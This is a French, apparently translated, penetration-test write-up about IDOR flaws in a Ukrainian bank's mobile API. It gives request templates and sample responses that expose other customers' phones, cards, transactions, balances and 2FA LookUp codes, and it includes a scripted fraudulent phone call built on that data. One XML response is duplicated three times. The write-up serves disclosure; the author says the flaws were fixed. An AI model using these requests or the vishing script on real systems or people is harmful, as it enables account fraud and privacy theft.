Obtention d'informations et contournement de l'authentification à deux facteurs sur les cartes bancaires du TOP-10 (Ukraine)

L'année dernière, une banque ukrainienne du TOP-10 m'a invité à tester ses systèmes Internet et de services bancaires mobiles pour détecter les vulnérabilités.

Tout d'abord, j'ai décidé de commencer par suivre les demandes de l'application mobile. Avec l'aide de Fiddler (Burp ou Charles), j'ai commencé à considérer chaque demande de candidature, effectuant tour à tour toutes les opérations disponibles sur mon compte. Les services bancaires mobiles n'étaient pas protégés par l'épinglage SSL, ce n'était donc pas difficile.

Dans les requêtes GET et POST, j'ai essayé de changer les paramètres pour obtenir ce que je cherchais, mais pendant longtemps je n'ai pas réussi - j'ai eu des erreurs comme "Accès refusé". Cependant, j'ai trouvé les requêtes dont j'avais besoin.

Par exemple:

1. En exécutant une requête POST à ​​une adresse du formulaire

https://api.somebank.ua:8243/services/MobileGW.MobileGWHttpsSoap11Endpoint 

Avec certains paramètres:

 SOAPAction: urn:getChannels Content-Type: text/xml Content-Length: 780 Host: api.somebank.ua:8243 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: okhttp/3.9.0 

organisme demandeur:
 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ib="http://somebank.com.ua/"> <soapenv:Header> <ib:sbbSecurityToken>594d608e-XXXX-XXXX-XXXX-31a7d4ddb016</ib:sbbSecurityToken> <ib:locale>ru</ib:locale> <wsse:Security xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd"> <wsse:UsernameToken> <wsse:Username>mobile</wsse:Username> <wsse:Password>XXXXXXXXXXXXX</wsse:Password> </wsse:UsernameToken> </wsse:Security> </soapenv:Header> <soapenv:Body> <ib:getChannels> <ib:clientId>3618336</ib:clientId> <ib:cardId>?</ib:cardId> </ib:getChannels> </soapenv:Body> </soapenv:Envelope> 

En réponse, j'ai reçu pas mal d'informations sur un autre client:

 <?xml version='1.0' encoding='UTF-8'?><soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><ib:locale xmlns:ib="http://ib.somebank.com.ua/">ru</ib:locale></soapenv:Header><soapenv:Body><sbb:getChannelsResponse xmlns:sbb="http://ib.somebank.com.ua/"> <sbb:getChannelsResponse> <sbb:registeredChannels> <sbb:cardId>6176071</sbb:cardId> <sbb:channelId>1</sbb:channelId> <sbb:extClientId>3618336</sbb:extClientId> <sbb:hashNum>$1$51237890$8ADA0A63104D0FF189805755DCC31476</sbb:hashNum> <sbb:phoneNumber>+380671234567</sbb:phoneNumber> <sbb:regDate>2017-11-13T14:55:20+02:00</sbb:regDate> </sbb:registeredChannels> <sbb:registeredChannels> <sbb:cardId>9269642</sbb:cardId> <sbb:channelId>2</sbb:channelId> <sbb:deviceId>8ac72969-58a9-3e82-89bd-4f51d389bd1f</sbb:deviceId> <sbb:extClientId>3618336</sbb:extClientId> <sbb:hashNum>$1$51231235$6B8AFE1CBCEAAEBDF6614B97A7308F90</sbb:hashNum> <sbb:phoneNumber>+380671234567</sbb:phoneNumber> <sbb:platform>Android</sbb:platform> <sbb:regDate>2018-06-01T12:51:27+03:00</sbb:regDate> <sbb:token> eCPI8kc1XXX:APA91bEetJ21_xtgWk9WnpC67kzbQfC2R8LJOAV8jCAFtKcKXwavGoOHK4sS6ymmPAwQBwgSn8CPgsLmo04OLYaA76VDxooqJBi5Hc3D_JPdqTXXX9zj7cEZAv8Z7RL0iukHvOv1lxKI</sbb:token> </sbb:registeredChannels> <sbb:registeredChannels> <sbb:cardId>9869792</sbb:cardId> <sbb:channelId>2</sbb:channelId> <sbb:deviceId>8ac72969-58a9-3e82-89bd-4f51d3d8081f</sbb:deviceId> <sbb:extClientId>3618336</sbb:extClientId> <sbb:hashNum>$1$59876543$3B25E7AC7C1941AED57EB426D83FCC3D</sbb:hashNum> <sbb:phoneNumber>+380671234567</sbb:phoneNumber> <sbb:platform>Android</sbb:platform> <sbb:regDate>2018-06-01T12:49:48+03:00</sbb:regDate> <sbb:token>eCPI8kc1XXX:APA91bEetJ21_xtgWk9WnpC67kzbQfC2R8LJOAV8jCAFtKcKXwavGoOHK4sS6ymmPAwQBwgSn8CPgsLmo04OLYaA76VDxooqJBi5Hc3D_JPdqTXXX9zj7cEZAv8Z7RL0iukHvOv1lxKI</sbb:token> </sbb:registeredChannels> </sbb:getChannelsResponse> </sbb:getChannelsResponse></soapenv:Body></soapenv:Envelope> </ SBB: token> <?xml version='1.0' encoding='UTF-8'?><soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><ib:locale xmlns:ib="http://ib.somebank.com.ua/">ru</ib:locale></soapenv:Header><soapenv:Body><sbb:getChannelsResponse xmlns:sbb="http://ib.somebank.com.ua/"> <sbb:getChannelsResponse> <sbb:registeredChannels> <sbb:cardId>6176071</sbb:cardId> <sbb:channelId>1</sbb:channelId> <sbb:extClientId>3618336</sbb:extClientId> <sbb:hashNum>$1$51237890$8ADA0A63104D0FF189805755DCC31476</sbb:hashNum> <sbb:phoneNumber>+380671234567</sbb:phoneNumber> <sbb:regDate>2017-11-13T14:55:20+02:00</sbb:regDate> </sbb:registeredChannels> <sbb:registeredChannels> <sbb:cardId>9269642</sbb:cardId> <sbb:channelId>2</sbb:channelId> <sbb:deviceId>8ac72969-58a9-3e82-89bd-4f51d389bd1f</sbb:deviceId> <sbb:extClientId>3618336</sbb:extClientId> <sbb:hashNum>$1$51231235$6B8AFE1CBCEAAEBDF6614B97A7308F90</sbb:hashNum> <sbb:phoneNumber>+380671234567</sbb:phoneNumber> <sbb:platform>Android</sbb:platform> <sbb:regDate>2018-06-01T12:51:27+03:00</sbb:regDate> <sbb:token> eCPI8kc1XXX:APA91bEetJ21_xtgWk9WnpC67kzbQfC2R8LJOAV8jCAFtKcKXwavGoOHK4sS6ymmPAwQBwgSn8CPgsLmo04OLYaA76VDxooqJBi5Hc3D_JPdqTXXX9zj7cEZAv8Z7RL0iukHvOv1lxKI</sbb:token> </sbb:registeredChannels> <sbb:registeredChannels> <sbb:cardId>9869792</sbb:cardId> <sbb:channelId>2</sbb:channelId> <sbb:deviceId>8ac72969-58a9-3e82-89bd-4f51d3d8081f</sbb:deviceId> <sbb:extClientId>3618336</sbb:extClientId> <sbb:hashNum>$1$59876543$3B25E7AC7C1941AED57EB426D83FCC3D</sbb:hashNum> <sbb:phoneNumber>+380671234567</sbb:phoneNumber> <sbb:platform>Android</sbb:platform> <sbb:regDate>2018-06-01T12:49:48+03:00</sbb:regDate> <sbb:token>eCPI8kc1XXX:APA91bEetJ21_xtgWk9WnpC67kzbQfC2R8LJOAV8jCAFtKcKXwavGoOHK4sS6ymmPAwQBwgSn8CPgsLmo04OLYaA76VDxooqJBi5Hc3D_JPdqTXXX9zj7cEZAv8Z7RL0iukHvOv1lxKI</sbb:token> </sbb:registeredChannels> </sbb:getChannelsResponse> </sbb:getChannelsResponse></soapenv:Body></soapenv:Envelope> </ SBB: token> <?xml version='1.0' encoding='UTF-8'?><soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><ib:locale xmlns:ib="http://ib.somebank.com.ua/">ru</ib:locale></soapenv:Header><soapenv:Body><sbb:getChannelsResponse xmlns:sbb="http://ib.somebank.com.ua/"> <sbb:getChannelsResponse> <sbb:registeredChannels> <sbb:cardId>6176071</sbb:cardId> <sbb:channelId>1</sbb:channelId> <sbb:extClientId>3618336</sbb:extClientId> <sbb:hashNum>$1$51237890$8ADA0A63104D0FF189805755DCC31476</sbb:hashNum> <sbb:phoneNumber>+380671234567</sbb:phoneNumber> <sbb:regDate>2017-11-13T14:55:20+02:00</sbb:regDate> </sbb:registeredChannels> <sbb:registeredChannels> <sbb:cardId>9269642</sbb:cardId> <sbb:channelId>2</sbb:channelId> <sbb:deviceId>8ac72969-58a9-3e82-89bd-4f51d389bd1f</sbb:deviceId> <sbb:extClientId>3618336</sbb:extClientId> <sbb:hashNum>$1$51231235$6B8AFE1CBCEAAEBDF6614B97A7308F90</sbb:hashNum> <sbb:phoneNumber>+380671234567</sbb:phoneNumber> <sbb:platform>Android</sbb:platform> <sbb:regDate>2018-06-01T12:51:27+03:00</sbb:regDate> <sbb:token> eCPI8kc1XXX:APA91bEetJ21_xtgWk9WnpC67kzbQfC2R8LJOAV8jCAFtKcKXwavGoOHK4sS6ymmPAwQBwgSn8CPgsLmo04OLYaA76VDxooqJBi5Hc3D_JPdqTXXX9zj7cEZAv8Z7RL0iukHvOv1lxKI</sbb:token> </sbb:registeredChannels> <sbb:registeredChannels> <sbb:cardId>9869792</sbb:cardId> <sbb:channelId>2</sbb:channelId> <sbb:deviceId>8ac72969-58a9-3e82-89bd-4f51d3d8081f</sbb:deviceId> <sbb:extClientId>3618336</sbb:extClientId> <sbb:hashNum>$1$59876543$3B25E7AC7C1941AED57EB426D83FCC3D</sbb:hashNum> <sbb:phoneNumber>+380671234567</sbb:phoneNumber> <sbb:platform>Android</sbb:platform> <sbb:regDate>2018-06-01T12:49:48+03:00</sbb:regDate> <sbb:token>eCPI8kc1XXX:APA91bEetJ21_xtgWk9WnpC67kzbQfC2R8LJOAV8jCAFtKcKXwavGoOHK4sS6ymmPAwQBwgSn8CPgsLmo04OLYaA76VDxooqJBi5Hc3D_JPdqTXXX9zj7cEZAv8Z7RL0iukHvOv1lxKI</sbb:token> </sbb:registeredChannels> </sbb:getChannelsResponse> </sbb:getChannelsResponse></soapenv:Body></soapenv:Envelope> 

Ce sont les données suivantes:

  1. numéro de téléphone du client ("phoneNumber");
  2. nombre de cartes (chaque paramètre «cardId»);
  3. nombre tronqué de ces cartes ("hashNum");
  4. date d'inscription aux services bancaires par Internet («regDate»);
  5. sur quel appareil l'application est utilisée - Android ou iOS ("plateforme");
  6. et ainsi de suite

En changeant le paramètre «ib: clientId» dans le corps de la demande (dans la réponse, il s'agit de «sbb: extClientId») de 3618336 à n'importe quel autre, nous obtenons des informations sur un autre client.

Continuons.

2. Maintenant, pour les clients où «sbb: channelId» est «2» (le canal de réception des notifications client: si 1 - SMS, 2 - push), prenez clientId (extClientId) et remplacez-le dans la demande GET pour l'adresse

 https://api.somebank.com.ua/commgw/message/history?extClientId=3618336&pageNumber=1&pageSize=10 

avec les paramètres suivants:

 Authorization: Bearer 0e95863b-XXXX-XXXX-XXXX-71941bfb0733 Content-Type: application/json Host: api.somebank.com.ua Connection: Keep-Alive Accept-Encoding: gzip User-Agent: okhttp/3.9.0 

En réponse, nous recevons des notifications push qui sont envoyées à ce client:

 [{"messageId":"3110600776643113261","messageBody":"Karta 5123-1235 operaciya -2861.83UAH 25.08.18 15:32 SHOP EPITSENTR, UA Dostupno: 28069.91UAH"}, {"messageId":"7150183459642079408","messageBody":"Karta 5123-1235 operaciya 56.8UAH 12/08 12:57 SOCAR PETROL STATIONS Dostupno: 30931.74UAH"}, {"messageId":"1688468957246607805","messageBody":"Karta 5123-1235 operaciya 814.3UAH 08/08 16:54 TOV AGP 5 Z PDV Dostupno: 30988.54UAH"}] 

Ici vous pouvez voir:

  1. sur quelle carte était l'opération;
  2. pour quel montant;
  3. date et heure de l'opération;
  4. quel type d'opération il s'agissait (acheter dans un magasin, se retirer d'un distributeur de billets ou d'une caisse enregistreuse, réapprovisionner une carte, etc.);
  5. le point de vente où cette opération a été effectuée - y compris le code d'autorisation nécessaire pour confirmer le paiement sur les sites de paiement - LookUp, VCODE, CardVerif - plus à ce sujet ci-dessous;
  6. solde de la carte après chaque opération.

Compte tenu de la grande quantité de données reçues et de l'utilisation de l'ingénierie sociale, il a été possible de retirer de l'argent des cartes clients sur les sites de paiement.

Par exemple, un fraudeur appellera le +380509876543 avec la conversation suivante:

 Karta 5111-1115 operaciya -62.08UAH 23.09.18 03:38 UBER TRIP PKGT4 HELP.UBER, NL Dostupno: 1349.88UAH Karta 5111-1115 operaciya -50.00UAH 22.09.18 19:22 TAVRIYA PLUS, UA Dostupno: 1411.96UAH Karta 5111-1115 operaciya -29.00UAH 22.09.18 10:22 MAGIC SNAIL PARK SHEVCHEN, UA Dostupno: 1461.96UAH 

- Bonjour, l'employé de surveillance de SomeBank vous dérange. Nous avons détecté une activité suspecte sur votre carte après la dernière opération. Avez-vous payé avec une carte 5111-1115 pour 62,08 UAH?
- Probablement oui.
- Cette opération a eu lieu aujourd'hui, 23/09/18, à 03:38 dans UBER. Confirmez-vous cette opération?
- Ah, oui, c'était moi.
- Et avant cela, vous vous êtes installé à TAVRIYA PLUS pour 50 UAH. et acheté du café au parc SHEVCHENko pour 29 UAH., non?
- Oui, exactement.
- Bien. Afin d'annuler une opération frauduleuse pour UAH 444, dites-moi le numéro de la succursale où votre carte a été émise - ce sont trois numéros au dos de la carte, et aussi ...

Si le client hésite, vous pouvez nommer ses autres opérations - en utilisant la vulnérabilité, vous pouvez les voir un nombre illimité.



Ainsi, dans le cadre de l'étude de l'application mobile, des méthodes ont été trouvées pour obtenir les données suivantes:

  1. la possibilité de contourner l'authentification à deux facteurs sur les sites de paiement;
  2. numéro de téléphone du client;
  3. le nombre de ses cartes;
  4. numéros de carte tronqués;
  5. date d'inscription à la banque en ligne;
  6. Messages envoyés au client sur le smartphone. Inclure des informations:
  7. sur quelle carte était l'opération;
  8. pour quel montant;
  9. date et heure de la transaction;
  10. quel type de transaction c'était (acheter dans un magasin, se retirer d'un distributeur de billets ou d'une caisse enregistreuse, réapprovisionner une carte, etc.);
  11. point de vente où cette opération a été effectuée - y compris le code d'autorisation (LookUp);
  12. solde de la carte après l'opération;
  13. et bien plus.

Je vais vous expliquer la gravité de l'article 11. Étant donné que les cartes de cette banque n'ont pas 3D-Secure (lorsqu'un code est envoyé au client via SMS qui doit être entré pour confirmer l'opération), des services de paiement (par exemple, Portmone, iPay, EasyPay et bien d'autres) effectuer une opération sur ces cartes sans vérification supplémentaire. Ou ils demandent un code spécial 2FA (code LookUp), qui est contenu dans les détails de l'opération - au nom du point de vente.

Ainsi, les fraudeurs peuvent facilement trouver des informations sur les clients et pour confirmer les paiements, ils vont simplement regarder les codes nécessaires dans le système bancaire.

Je voudrais également noter que le service n'a pas bloqué plusieurs demandes et, en triant les données, il a été possible de collecter une base de données contenant une très grande quantité d'informations.

Quelque temps après avoir signalé les vulnérabilités, elles ont été corrigées.

Source: https://habr.com/ru/post/fr441104/


All Articles